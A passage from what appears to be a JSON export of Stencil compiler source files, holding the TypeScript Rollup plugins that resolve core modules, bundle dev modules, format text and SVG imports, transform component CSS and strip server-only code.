    "content": "import { isRemoteUrl, join, normalizeFsPath, normalizePath } from '@utils';\nimport { dirname } from 'path';\nimport type { Plugin } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport type { BundlePlatform } from './bundle-interface';\nimport { HYDRATED_CSS } from '../../runtime/runtime-constants';\nimport { fetchModuleAsync } from '../sys/fetch/fetch-module-async';\nimport { getStencilModuleUrl, packageVersions } from '../sys/fetch/fetch-utils';\nimport {\n  APP_DATA_CONDITIONAL,\n  STENCIL_CORE_ID,\n  STENCIL_INTERNAL_CLIENT_ID,\n  STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID,\n  STENCIL_INTERNAL_HYDRATE_ID,\n  STENCIL_INTERNAL_ID,\n  STENCIL_JSX_DEV_RUNTIME_ID,\n  STENCIL_JSX_RUNTIME_ID,\n} from './entry-alias-ids';\n\nexport const coreResolvePlugin = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  platform: BundlePlatform,\n  externalRuntime: boolean,\n  lazyLoad: boolean,\n): Plugin => {\n  const compilerExe = config.sys.getCompilerExecutingPath();\n  const internalClient = getStencilInternalModule(config, compilerExe, 'client/index.js');\n  const internalClientPatchBrowser = getStencilInternalModule(config, compilerExe, 'client/patch-browser.js');\n  const internalHydrate = getStencilInternalModule(config, compilerExe, 'hydrate/index.js');\n\n  return {\n    name: 'coreResolvePlugin',\n\n    resolveId(id) {\n      if (id === STENCIL_CORE_ID || id === STENCIL_INTERNAL_ID) {\n        if (platform === 'client') {\n          if (externalRuntime) {\n            return {\n              id: STENCIL_INTERNAL_CLIENT_ID,\n              external: true,\n            };\n          }\n          if (lazyLoad) {\n            // with a lazy / dist build, add `?app-data=conditional` as an identifier to ensure we don't\n            // use the default app-data, but build a custom one based on component meta\n            return internalClient + APP_DATA_CONDITIONAL;\n          }\n          // for a non-lazy / dist-custom-elements build, use the default, complete core.\n          // This ensures all features are available for any importer library\n          return internalClient;\n        }\n        if (platform === 'hydrate') {\n          return internalHydrate;\n        }\n      }\n      if (id === STENCIL_INTERNAL_CLIENT_ID) {\n        if (externalRuntime) {\n          // not bundling the client runtime and the user's component together this\n          // must be the custom elements build, where @stencil/core/internal/client\n          // is an import, rather than bundling\n          return {\n            id: STENCIL_INTERNAL_CLIENT_ID,\n            external: true,\n          };\n        }\n        // importing @stencil/core/internal/client directly, so it shouldn't get\n        // the custom app-data conditionals\n        return internalClient;\n      }\n      if (id === STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID) {\n        if (externalRuntime) {\n          return {\n            id: STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID,\n            external: true,\n          };\n        }\n        return internalClientPatchBrowser;\n      }\n      if (id === STENCIL_INTERNAL_HYDRATE_ID) {\n        return internalHydrate;\n      }\n      // Handle jsx-runtime and jsx-dev-runtime imports\n      // These must resolve to the same internal client path as @stencil/core\n      // to prevent Rollup from bundling duplicate runtime code with different\n      // minified property names, which causes VNode property mismatches during hydration\n      if (id === STENCIL_JSX_RUNTIME_ID || id === STENCIL_JSX_DEV_RUNTIME_ID) {\n        if (platform === 'client') {\n          if (externalRuntime) {\n            return {\n              id: STENCIL_INTERNAL_CLIENT_ID,\n              external: true,\n            };\n          }\n          if (lazyLoad) {\n            // with a lazy / dist build, add `?app-data=conditional` as an identifier to ensure we don't\n            // use the default app-data, but build a custom one based on component meta\n            return internalClient + APP_DATA_CONDITIONAL;\n          }\n          // for a non-lazy / dist-custom-elements build, use the default, complete core.\n          return internalClient;\n        }\n        if (platform === 'hydrate') {\n          return internalHydrate;\n        }\n      }\n      return null;\n    },\n\n    async load(filePath) {\n      if (filePath && !filePath.startsWith('\\0')) {\n        filePath = normalizeFsPath(filePath);\n\n        if (filePath === internalClient || filePath === internalHydrate) {\n          if (platform === 'worker') {\n            return `\nexport const Build = {\n  isDev: ${config.devMode},\n  isBrowser: true,\n  isServer: false,\n  isTesting: false,\n};`;\n          }\n          let code = await compilerCtx.fs.readFile(filePath);\n\n          if (typeof code !== 'string' && isRemoteUrl(compilerExe)) {\n            const url = getStencilModuleUrl(compilerExe, filePath);\n            code = await fetchModuleAsync(config.sys, compilerCtx.fs, packageVersions, url, filePath);\n          }\n\n          if (typeof code === 'string') {\n            const hydratedFlag = config.hydratedFlag;\n            if (hydratedFlag) {\n              const hydratedFlagHead = getHydratedFlagHead(hydratedFlag);\n              if (HYDRATED_CSS !== hydratedFlagHead) {\n                code = code.replace(HYDRATED_CSS, hydratedFlagHead);\n                if (hydratedFlag.name !== 'hydrated') {\n                  code = code.replace(`.classList.add(\"hydrated\")`, `.classList.add(\"${hydratedFlag.name}\")`);\n                  code = code.replace(`.classList.add('hydrated')`, `.classList.add('${hydratedFlag.name}')`);\n                  code = code.replace(`.setAttribute(\"hydrated\",`, `.setAttribute(\"${hydratedFlag.name}\",`);\n                  code = code.replace(`.setAttribute('hydrated',`, `.setAttribute('${hydratedFlag.name}',`);\n                }\n              }\n            } else {\n              code = code.replace(HYDRATED_CSS, '{}');\n            }\n          }\n\n          return code;\n        }\n      }\n      return null;\n    },\n  };\n};\n\nexport const getStencilInternalModule = (config: d.ValidatedConfig, compilerExe: string, internalModule: string) => {\n  if (isRemoteUrl(compilerExe)) {\n    return normalizePath(\n      config.sys.getLocalModulePath({\n        rootDir: config.rootDir,\n        moduleId: '@stencil/core',\n        path: 'internal/' + internalModule,\n      }),\n    );\n  }\n\n  const compilerExeDir = dirname(compilerExe);\n  return normalizePath(join(compilerExeDir, '..', 'internal', internalModule));\n};\n\nexport const getHydratedFlagHead = (h: d.HydratedFlag) => {\n  // {visibility:hidden}.hydrated{visibility:inherit}\n\n  let initial: string;\n  let hydrated: string;\n\n  if (!String(h.initialValue) || h.initialValue === '' || h.initialValue == null) {\n    initial = '';\n  } else {\n    initial = `{${h.property}:${h.initialValue}}`;\n  }\n\n  const selector = h.selector === 'attribute' ? `[${h.name}]` : `.${h.name}`;\n\n  if (!String(h.hydratedValue) || h.hydratedValue === '' || h.hydratedValue == null) {\n    hydrated = '';\n  } else {\n    hydrated = `${selector}{${h.property}:${h.hydratedValue}}`;\n  }\n\n  return initial + hydrated;\n};\n"
  },
  {
    "path": "src/compiler/bundle/dev-module.ts",
    "content": "import { generatePreamble, join, relative } from '@utils';\nimport { basename, dirname } from 'path';\nimport { OutputOptions, rollup } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { BuildContext } from '../build/build-ctx';\nimport { getRollupOptions } from './bundle-output';\nimport { DEV_MODULE_CACHE_BUSTER, DEV_MODULE_DIR } from './constants';\n\nexport const compilerRequest = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  data: d.CompilerRequest,\n) => {\n  const results: d.CompilerRequestResponse = {\n    path: data.path,\n    nodeModuleId: null,\n    nodeModuleVersion: null,\n    nodeResolvedPath: null,\n    cachePath: null,\n    cacheHit: false,\n    content: '',\n    status: 404,\n  };\n\n  try {\n    const parsedUrl = parseDevModuleUrl(config, data.path);\n    Object.assign(results, parsedUrl);\n\n    if (parsedUrl.nodeModuleId) {\n      if (!parsedUrl.nodeModuleVersion) {\n        results.content = `/* invalid module version */`;\n        results.status = 400;\n        return results;\n      }\n      if (!parsedUrl.nodeResolvedPath) {\n        results.content = `/* invalid resolved path */`;\n        results.status = 400;\n        return results;\n      }\n\n      const useCache = await useDevModuleCache(config, parsedUrl.nodeResolvedPath);\n\n      let cachePath: string = null;\n      if (useCache) {\n        cachePath = getDevModuleCachePath(config, parsedUrl);\n\n        const cachedContent = await config.sys.readFile(cachePath);\n        if (typeof cachedContent === 'string') {\n          results.content = cachedContent;\n          results.cachePath = cachePath;\n          results.cacheHit = true;\n          results.status = 200;\n          return results;\n        }\n      }\n\n      await bundleDevModule(config, compilerCtx, parsedUrl, results);\n\n      if (results.status === 200 && useCache) {\n        results.cachePath = cachePath;\n        writeCachedFile(config, results);\n      }\n    } else {\n      results.content = `/* invalid dev module */`;\n      results.status = 400;\n      return results;\n    }\n  } catch (e: unknown) {\n    if (e) {\n      if (e instanceof Error && e.stack) {\n        results.content = `/*\\n${e.stack}\\n*/`;\n      } else {\n        results.content = `/*\\n${e}\\n*/`;\n      }\n    }\n    results.status = 500;\n  }\n\n  return results;\n};\n\nconst bundleDevModule = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  parsedUrl: ParsedDevModuleUrl,\n  results: d.CompilerRequestResponse,\n) => {\n  const buildCtx = new BuildContext(config, compilerCtx);\n\n  try {\n    const inputOpts = getRollupOptions(config, compilerCtx, buildCtx, {\n      id: parsedUrl.nodeModuleId,\n      platform: 'client',\n      inputs: {\n        index: parsedUrl.nodeResolvedPath,\n      },\n    });\n    const rollupBuild = await rollup(inputOpts);\n\n    const outputOpts: OutputOptions = {\n      banner: generatePreamble(config),\n      format: 'es',\n    };\n\n    if (parsedUrl.nodeModuleId) {\n      const commentPath = relative(config.rootDir, parsedUrl.nodeResolvedPath);\n      outputOpts.intro = `/**\\n * Dev Node Module: ${parsedUrl.nodeModuleId}, v${parsedUrl.nodeModuleVersion}\\n * Entry: ${commentPath}\\n * DEVELOPMENT PURPOSES ONLY!!\\n */`;\n      inputOpts.input = parsedUrl.nodeResolvedPath;\n    }\n\n    const r = await rollupBuild.generate(outputOpts);\n\n    if (buildCtx.hasError) {\n      results.status = 500;\n      results.content = `console.error(${JSON.stringify(buildCtx.diagnostics)})`;\n    } else if (r && r.output && r.output.length > 0) {\n      results.content = r.output[0].code;\n      results.status = 200;\n    }\n  } catch (e) {\n    results.status = 500;\n    const errorMsg = e instanceof Error ? e.stack : e + '';\n    results.content = `console.error(${JSON.stringify(errorMsg)})`;\n  }\n};\n\nconst useDevModuleCache = async (config: d.ValidatedConfig, p: string) => {\n  if (config.enableCache) {\n    for (let i = 0; i < 10; i++) {\n      const n = basename(p);\n      if (n === 'node_modules') {\n        return true;\n      }\n      const isSymbolicLink = await config.sys.isSymbolicLink(p);\n      if (isSymbolicLink) {\n        return false;\n      }\n      p = dirname(p);\n    }\n  }\n  return false;\n};\n\nconst writeCachedFile = async (config: d.ValidatedConfig, results: d.CompilerRequestResponse) => {\n  try {\n    await config.sys.createDir(config.cacheDir);\n    config.sys.writeFile(results.cachePath, results.content);\n  } catch (e) {\n    console.error(e);\n  }\n};\n\nconst parseDevModuleUrl = (config: d.ValidatedConfig, u: string) => {\n  const parsedUrl: ParsedDevModuleUrl = {\n    nodeModuleId: null,\n    nodeModuleVersion: null,\n    nodeResolvedPath: null,\n  };\n\n  if (u && u.includes(DEV_MODULE_DIR) && u.endsWith('.js')) {\n    const url = new URL(u, 'https://stenciljs.com');\n    let reqPath = basename(url.pathname);\n    reqPath = reqPath.substring(0, reqPath.length - 3);\n\n    const splt = reqPath.split('@');\n    if (splt.length === 2) {\n      parsedUrl.nodeModuleId = decodeURIComponent(splt[0]);\n      parsedUrl.nodeModuleVersion = decodeURIComponent(splt[1]);\n\n      parsedUrl.nodeResolvedPath = url.searchParams.get('p');\n      if (parsedUrl.nodeResolvedPath) {\n        parsedUrl.nodeResolvedPath = decodeURIComponent(parsedUrl.nodeResolvedPath);\n        parsedUrl.nodeResolvedPath = join(config.rootDir, parsedUrl.nodeResolvedPath);\n      }\n    }\n  }\n\n  return parsedUrl;\n};\n\nconst getDevModuleCachePath = (config: d.ValidatedConfig, parsedUrl: ParsedDevModuleUrl) => {\n  return join(\n    config.cacheDir,\n    `dev_module_${parsedUrl.nodeModuleId}_${parsedUrl.nodeModuleVersion}_${DEV_MODULE_CACHE_BUSTER}.log`,\n  );\n};\n\ninterface ParsedDevModuleUrl {\n  nodeModuleId: string;\n  nodeModuleVersion: string;\n  nodeResolvedPath: string;\n}\n"
  },
  {
    "path": "src/compiler/bundle/dev-node-module-resolve.ts",
    "content": "import { join, relative } from '@utils';\nimport { basename, dirname } from 'path';\nimport { ResolveIdResult } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { InMemoryFileSystem } from '../sys/in-memory-fs';\nimport { DEV_MODULE_DIR } from './constants';\n\nexport const devNodeModuleResolveId = async (\n  config: d.ValidatedConfig,\n  inMemoryFs: InMemoryFileSystem,\n  resolvedId: ResolveIdResult,\n  importee: string,\n) => {\n  if (!shouldCheckDevModule(resolvedId, importee)) {\n    return resolvedId;\n  }\n\n  if (typeof resolvedId === 'string' || !resolvedId) {\n    return resolvedId;\n  }\n\n  const resolvedPath = resolvedId.id;\n\n  const pkgPath = getPackageJsonPath(resolvedPath, importee);\n  if (!pkgPath) {\n    return resolvedId;\n  }\n\n  const pkgJsonStr = await inMemoryFs.readFile(pkgPath);\n  if (!pkgJsonStr) {\n    return resolvedId;\n  }\n\n  let pkgJsonData: d.PackageJsonData;\n  try {\n    pkgJsonData = JSON.parse(pkgJsonStr);\n  } catch (e) {}\n\n  if (!pkgJsonData || !pkgJsonData.version) {\n    return resolvedId;\n  }\n\n  resolvedId.id = serializeDevNodeModuleUrl(config, pkgJsonData.name, pkgJsonData.version, resolvedPath);\n  resolvedId.external = true;\n\n  return resolvedId;\n};\n\nconst shouldCheckDevModule = (resolvedId: ResolveIdResult, importee: string) =>\n  resolvedId &&\n  importee &&\n  typeof resolvedId !== 'string' &&\n  resolvedId.id &&\n  resolvedId.id.includes('node_modules') &&\n  (resolvedId.id.endsWith('.js') || resolvedId.id.endsWith('.mjs')) &&\n  !resolvedId.external &&\n  !importee.startsWith('.') &&\n  !importee.startsWith('/');\n\nconst getPackageJsonPath = (resolvedPath: string, importee: string): string => {\n  let currentPath = resolvedPath;\n  for (let i = 0; i < 10; i++) {\n    currentPath = dirname(currentPath);\n    const aBasename = basename(currentPath);\n\n    const upDir = dirname(currentPath);\n    const bBasename = basename(upDir);\n    if (aBasename === importee && bBasename === 'node_modules') {\n      return join(currentPath, 'package.json');\n    }\n  }\n  return null;\n};\n\nconst serializeDevNodeModuleUrl = (\n  config: d.ValidatedConfig,\n  moduleId: string,\n  moduleVersion: string,\n  resolvedPath: string,\n) => {\n  resolvedPath = relative(config.rootDir, resolvedPath);\n\n  let id = `/${DEV_MODULE_DIR}/`;\n  id += encodeURIComponent(moduleId) + '@';\n  id += encodeURIComponent(moduleVersion) + '.js';\n  id += '?p=' + encodeURIComponent(resolvedPath);\n  return id;\n};\n"
  },
  {
    "path": "src/compiler/bundle/entry-alias-ids.ts",
    "content": "export const STENCIL_CORE_ID = '@stencil/core';\nexport const STENCIL_INTERNAL_ID = '@stencil/core/internal';\nexport const STENCIL_APP_DATA_ID = '@stencil/core/internal/app-data';\nexport const STENCIL_APP_GLOBALS_ID = '@stencil/core/internal/app-globals';\nexport const STENCIL_HYDRATE_FACTORY_ID = '@stencil/core/hydrate-factory';\nexport const STENCIL_INTERNAL_CLIENT_ID = '@stencil/core/internal/client';\nexport const STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID = '@stencil/core/internal/client/patch-browser';\nexport const STENCIL_INTERNAL_HYDRATE_ID = '@stencil/core/internal/hydrate';\nexport const STENCIL_MOCK_DOC_ID = '@stencil/core/mock-doc';\nexport const STENCIL_JSX_RUNTIME_ID = '@stencil/core/jsx-runtime';\nexport const STENCIL_JSX_DEV_RUNTIME_ID = '@stencil/core/jsx-dev-runtime';\nexport const APP_DATA_CONDITIONAL = '?app-data=conditional';\nexport const LAZY_BROWSER_ENTRY_ID = '@lazy-browser-entrypoint' + APP_DATA_CONDITIONAL;\nexport const LAZY_EXTERNAL_ENTRY_ID = '@lazy-external-entrypoint' + APP_DATA_CONDITIONAL;\nexport const USER_INDEX_ENTRY_ID = '@user-index-entrypoint';\n"
  },
  {
    "path": "src/compiler/bundle/ext-format-plugin.ts",
    "content": "import { createJsVarName, normalizeFsPathQuery } from '@utils';\nimport { basename } from 'path';\nimport type { Plugin, TransformPluginContext, TransformResult } from 'rollup';\n\nimport type * as d from '../../declarations';\n\nexport const extFormatPlugin = (config: d.ValidatedConfig): Plugin => {\n  return {\n    name: 'extFormatPlugin',\n\n    transform(code: string, importPath: string): TransformResult {\n      if (/\\0/.test(importPath)) {\n        return null;\n      }\n\n      const { ext, filePath, format } = normalizeFsPathQuery(importPath);\n\n      // ?format= param takes precedence before file extension\n      switch (format) {\n        case 'url':\n          return { code: formatUrl(config, this, code, filePath, ext), map: null };\n        case 'text':\n          return { code: formatText(code, filePath), map: null };\n      }\n\n      // didn't provide a ?format= param\n      // check if it's a known extension we should format\n      if (ext != null && FORMAT_TEXT_EXTS.includes(ext)) {\n        return { code: formatText(code, filePath), map: null };\n      }\n\n      if (ext != null && FORMAT_URL_MIME[ext]) {\n        return { code: formatUrl(config, this, code, filePath, ext), map: null };\n      }\n\n      return null;\n    },\n  };\n};\n\nconst FORMAT_TEXT_EXTS = ['txt', 'frag', 'vert'];\n\nconst FORMAT_URL_MIME: any = {\n  svg: 'image/svg+xml',\n};\n\nconst DATAURL_MAX_IMAGE_SIZE = 4 * 1024; // 4KiB\n\nconst formatText = (code: string, filePath: string) => {\n  const varName = createJsVarName(basename(filePath));\n  return `const ${varName} = ${JSON.stringify(code)};export default ${varName};`;\n};\n\nconst formatUrl = (\n  config: d.ValidatedConfig,\n  pluginCtx: TransformPluginContext,\n  code: string,\n  filePath: string,\n  ext: string | null,\n) => {\n  const mime = ext != null ? FORMAT_URL_MIME[ext] : null;\n  if (!mime) {\n    pluginCtx.warn(`Unsupported url format for \"${ext}\" extension.`);\n    return formatText('', filePath);\n  }\n\n  const varName = createJsVarName(basename(filePath));\n  const base64 = config.sys.encodeToBase64(code);\n  if (config.devMode && base64.length > DATAURL_MAX_IMAGE_SIZE) {\n    pluginCtx.warn(`Importing large files will bloat your bundle size, please use external assets instead.`);\n  }\n\n  return `const ${varName} = 'data:${mime};base64,${base64}';export default ${varName};`;\n};\n"
  },
  {
    "path": "src/compiler/bundle/ext-transforms-plugin.ts",
    "content": "import { hasError, isOutputTargetDistCollection, join, mergeIntoWith, normalizeFsPath, relative } from '@utils';\nimport type { Plugin } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { runPluginTransformsEsmImports } from '../plugin/plugin';\nimport { getScopeId } from '../style/scope-css';\nimport { parseImportPath } from '../transformers/stencil-import-path';\n\n/**\n * This keeps a map of all the component styles we've seen already so we can create\n * a correct state of all styles when we're doing a rebuild. This map helps by\n * storing the state of all styles as follows, e.g.:\n *\n * ```\n * {\n *  'cmp-a-$': {\n *   '/path/to/project/cmp-a.scss': 'button{color:red}',\n *   '/path/to/project/cmp-a.md.scss': 'button{color:blue}'\n * }\n * ```\n *\n * Whenever one of the files change, we can propagate a correct concatenated\n * version of all styles to the browser by setting `buildCtx.stylesUpdated`.\n */\ntype ComponentStyleMap = Map<string, string>;\nconst allCmpStyles = new Map<string, ComponentStyleMap>();\n\n/**\n * A Rollup plugin which bundles up some transformation of CSS imports as well\n * as writing some files to disk for the `DIST_COLLECTION` output target.\n *\n * @param config a user-supplied configuration\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @returns a Rollup plugin which carries out the necessary work\n */\nexport const extTransformsPlugin = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Plugin => {\n  return {\n    name: 'extTransformsPlugin',\n\n    /**\n     * A custom function targeting the `transform` build hook in Rollup. See here for details:\n     * https://rollupjs.org/guide/en/#transform\n     *\n     * Here we are ignoring the first argument (which contains the module's source code) and\n     * only looking at the `id` argument. We use that `id` to get information about the module\n     * in question from disk ourselves so that we can then do some transformations on it.\n     *\n     * @param _ an unused parameter (normally the code for a given module)\n     * @param id the id of a module\n     * @returns metadata for Rollup or null if no transformation should be done\n     */\n    async transform(_, id) {\n      if (/\\0/.test(id)) {\n        return null;\n      }\n\n      /**\n       * Make sure compiler context has a registered worker. The interface suggests that it\n       * potentially can be undefined, therefore check for it here.\n       */\n      if (!compilerCtx.worker) {\n        return null;\n      }\n\n      // The `id` here was possibly previously updated using\n      // `serializeImportPath` to annotate the filepath with various metadata\n      // serialized to query-params. If that was done for this particular `id`\n      // then the `data` prop will not be null.\n      const { data } = parseImportPath(id);\n\n      if (data != null) {\n        let cmpStyles: ComponentStyleMap | undefined = undefined;\n        let cmp: d.ComponentCompilerMeta | undefined = undefined;\n        const filePath = normalizeFsPath(id);\n        const code = await compilerCtx.fs.readFile(filePath);\n        if (typeof code !== 'string') {\n          return null;\n        }\n\n        /**\n         * add file to watch list if it is outside of the `srcDir` config path\n         */\n        if (config.watch && (id.startsWith('/') || id.startsWith('.')) && !id.startsWith(config.srcDir)) {\n          compilerCtx.addWatchFile(id.split('?')[0]);\n        }\n\n        const pluginTransforms = await runPluginTransformsEsmImports(config, compilerCtx, buildCtx, code, filePath);\n\n        if (data.tag) {\n          cmp = buildCtx.components.find((c) => c.tagName === data.tag);\n          const moduleFile = cmp && !cmp.isCollectionDependency && compilerCtx.moduleMap.get(cmp.sourceFilePath);\n\n          if (moduleFile) {\n            const collectionDirs = config.outputTargets.filter(isOutputTargetDistCollection);\n            const relPath = relative(config.srcDir, pluginTransforms.id);\n\n            // If we found a `moduleFile` in the module map above then we\n            // should write the transformed CSS file (found in the return value\n            // of `runPluginTransformsEsmImports`, above) to disk.\n            await Promise.all(\n              collectionDirs.map(async (outputTarget) => {\n                const collectionPath = join(outputTarget.collectionDir, relPath);\n                await compilerCtx.fs.writeFile(collectionPath, pluginTransforms.code);\n              }),\n            );\n          }\n\n          /**\n           * initiate map for component styles\n           */\n          const scopeId = getScopeId(data.tag, data.mode);\n          if (!allCmpStyles.has(scopeId)) {\n            allCmpStyles.set(scopeId, new Map());\n          }\n          cmpStyles = allCmpStyles.get(scopeId);\n        }\n\n        const cssTransformResults = await compilerCtx.worker.transformCssToEsm({\n          file: pluginTransforms.id,\n          input: pluginTransforms.code,\n          tag: data.tag,\n          tags: buildCtx.components.map((c) => c.tagName),\n          addTagTransformers: !!buildCtx.config.extras.additionalTagTransformers,\n          encapsulation: data.encapsulation,\n          mode: data.mode,\n          sourceMap: config.sourceMap,\n          minify: config.minifyCss,\n          autoprefixer: config.autoprefixCss,\n          docs: config.buildDocs,\n        });\n\n        /**\n         * persist component styles for transformed stylesheet\n         */\n        if (cmpStyles) {\n          cmpStyles.set(filePath, cssTransformResults.styleText);\n        }\n\n        // Set style docs\n        if (cmp) {\n          cmp.styleDocs ||= [];\n          mergeIntoWith(cmp.styleDocs, cssTransformResults.styleDocs, (docs) => `${docs.name},${docs.mode}`);\n        }\n\n        // Track dependencies\n        for (const dep of pluginTransforms.dependencies) {\n          this.addWatchFile(dep);\n          compilerCtx.addWatchFile(dep);\n        }\n\n        buildCtx.diagnostics.push(...pluginTransforms.diagnostics);\n        buildCtx.diagnostics.push(...cssTransformResults.diagnostics);\n        const didError = hasError(cssTransformResults.diagnostics) || hasError(pluginTransforms.diagnostics);\n        if (didError) {\n          this.error('Plugin CSS transform error');\n        }\n\n        const hasUpdatedStyle = buildCtx.stylesUpdated.some((s) => {\n          return s.styleTag === data.tag && s.styleMode === data.mode && s.styleText === cssTransformResults.styleText;\n        });\n\n        /**\n         * if the style has updated, compose all styles for the component\n         */\n        if (!hasUpdatedStyle && data.tag && data.mode) {\n          const externalStyles = cmp?.styles?.[0]?.externalStyles;\n\n          /**\n           * if component has external styles, use a list to keep the order to which\n           * styles are applied.\n           */\n          const styleText = cmpStyles\n            ? externalStyles\n              ? /**\n                 * attempt to find the original `filePath` key through `originalComponentPath`\n                 * and `absolutePath` as path can differ based on how Stencil is installed\n                 * e.g. through `npm link` or `npm install`\n                 */\n                externalStyles\n                  .map((es) => cmpStyles.get(es.originalComponentPath) || cmpStyles.get(es.absolutePath))\n                  .join('\\n')\n              : /**\n                 * if `externalStyles` is not defined, then created the style text in the\n                 * order of which the styles were compiled.\n                 */\n                [...cmpStyles.values()].join('\\n')\n            : /**\n               * if `cmpStyles` is not defined, then use the style text from the transform\n               * as it is not connected to a component.\n               */\n              cssTransformResults.styleText;\n\n          buildCtx.stylesUpdated.push({\n            styleTag: data.tag,\n            styleMode: data.mode,\n            styleText,\n          });\n        }\n\n        return {\n          code: cssTransformResults.output,\n          map: cssTransformResults.map,\n          moduleSideEffects: false,\n        };\n      }\n\n      return null;\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/bundle/file-load-plugin.ts",
    "content": "import { isDtsFile, normalizeFsPath } from '@utils';\nimport type { Plugin } from 'rollup';\n\nimport { InMemoryFileSystem } from '../sys/in-memory-fs';\n\nexport const fileLoadPlugin = (fs: InMemoryFileSystem): Plugin => {\n  return {\n    name: 'fileLoadPlugin',\n\n    load(id) {\n      const fsFilePath = normalizeFsPath(id);\n      if (isDtsFile(fsFilePath)) {\n        return '';\n      }\n      return fs.readFile(fsFilePath);\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/bundle/loader-plugin.ts",
    "content": "import type { LoadResult, Plugin, ResolveIdResult } from 'rollup';\n\n/**\n * Rollup plugin that aids in resolving the entry points (1 or more files) for a Stencil project. For example, a project\n * using the `dist-custom-elements` output target may have a single 'entry point' for each file containing a component.\n * Each of those files will be independently resolved and loaded by this plugin for further processing by Rollup later\n * in the bundling process.\n *\n * @param entries the Stencil project files to process. It should be noted that the keys in this object may not\n * necessarily be an absolute or relative path to a file, but may be a Rollup Virtual Module (which begin with \\0).\n * @returns the rollup plugin that loads and process a Stencil project's entry points\n */\nexport const loaderPlugin = (entries: { [id: string]: string } = {}): Plugin => {\n  return {\n    name: 'stencilLoaderPlugin',\n    /**\n     * A rollup build hook for resolving the imports of individual Stencil project files. This hook only resolves\n     * modules that are contained in the plugin's `entries` argument. [Source](https://rollupjs.org/guide/en/#resolveid)\n     * @param id the importee to resolve\n     * @returns a string that resolves an import to some id, null otherwise\n     */\n    resolveId(id: string): ResolveIdResult {\n      if (id in entries) {\n        return {\n          id,\n        };\n      }\n      return null;\n    },\n    /**\n     * A rollup build hook for loading individual Stencil project files [Source](https://rollupjs.org/guide/en/#load)\n     * @param id the path of the module to load. It should be noted that the keys in this object may not necessarily\n     * be an absolute or relative path to a file, but may be a Rollup Virtual Module.\n     * @returns the module matched, null otherwise\n     */\n    load(id: string): LoadResult {\n      if (id in entries) {\n        return entries[id];\n      }\n      return null;\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/bundle/plugin-helper.ts",
    "content": "import { buildError, relative } from '@utils';\n\nimport type * as d from '../../declarations';\nimport type { BundlePlatform } from './bundle-interface';\n\nexport const pluginHelper = (config: d.ValidatedConfig, builtCtx: d.BuildCtx, platform: BundlePlatform) => {\n  return {\n    name: 'pluginHelper',\n    resolveId(importee: string, importer: string): null {\n      if (/\\0/.test(importee)) {\n        // ignore IDs with null character, these belong to other plugins\n        return null;\n      }\n\n      if (importee.endsWith('/')) {\n        importee = importee.slice(0, -1);\n      }\n\n      if (builtIns.has(importee)) {\n        let fromMsg = '';\n        if (importer) {\n          fromMsg = ` from ${relative(config.rootDir, importer)}`;\n        }\n        const diagnostic = buildError(builtCtx.diagnostics);\n        diagnostic.header = `Node Polyfills Required`;\n        diagnostic.messageText = `For the import \"${importee}\" to be bundled${fromMsg}, ensure the \"rollup-plugin-node-polyfills\" plugin is installed and added to the stencil config plugins (${platform}). Please see the bundling docs for more information.\n        Further information: https://stenciljs.com/docs/module-bundling`;\n      }\n      return null;\n    },\n  };\n};\n\nconst builtIns = new Set([\n  'child_process',\n  'cluster',\n  'dgram',\n  'dns',\n  'module',\n  'net',\n  'readline',\n  'repl',\n  'tls',\n\n  'assert',\n  'console',\n  'constants',\n  'domain',\n  'events',\n  'path',\n  'punycode',\n  'querystring',\n  '_stream_duplex',\n  '_stream_passthrough',\n  '_stream_readable',\n  '_stream_writable',\n  '_stream_transform',\n  'string_decoder',\n  'sys',\n  'tty',\n\n  'crypto',\n  'fs',\n\n  'Buffer',\n  'buffer',\n  'global',\n  'http',\n  'https',\n  'os',\n  'process',\n  'stream',\n  'timers',\n  'url',\n  'util',\n  'vm',\n  'zlib',\n]);\n"
  },
  {
    "path": "src/compiler/bundle/server-plugin.ts",
    "content": "import { isOutputTargetHydrate, isString, normalizeFsPath } from '@utils';\nimport { isAbsolute } from 'path';\nimport type { Plugin } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport type { BundlePlatform } from './bundle-interface';\n\nexport const serverPlugin = (config: d.ValidatedConfig, platform: BundlePlatform): Plugin => {\n  const isHydrateBundle = platform === 'hydrate';\n  const serverVarid = `@removed-server-code`;\n\n  const isServerOnlyModule = (id: string) => {\n    if (isString(id)) {\n      id = normalizeFsPath(id);\n      return id.includes('.server/') || id.endsWith('.server');\n    }\n    return false;\n  };\n\n  const externals = isHydrateBundle\n    ? config.outputTargets.filter(isOutputTargetHydrate).flatMap((o) => o.external)\n    : [];\n\n  return {\n    name: 'serverPlugin',\n\n    resolveId(id, importer) {\n      if (id === serverVarid) {\n        return id;\n      }\n      if (isHydrateBundle) {\n        if (externals.includes(id)) {\n          // don't attempt to bundle node builtins for the hydrate bundle\n          return {\n            id,\n            external: true,\n          };\n        }\n        if (isServerOnlyModule(importer) && !id.startsWith('.') && !isAbsolute(id)) {\n          // do not bundle if the importer is a server-only module\n          // and the module it is importing is a node module\n          return {\n            id,\n            external: true,\n          };\n        }\n      } else {\n        if (isServerOnlyModule(id)) {\n          // any path that has .server in it shouldn't actually\n          // be bundled in the web build, only the hydrate build\n          return serverVarid;\n        }\n      }\n      return null;\n    },\n\n    load(id) {\n      if (id === serverVarid) {\n        return {\n          code: 'export default {};',\n          syntheticNamedExports: true,\n        };\n      }\n      return null;\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/bundle/test/app-data-plugin.spec.ts",
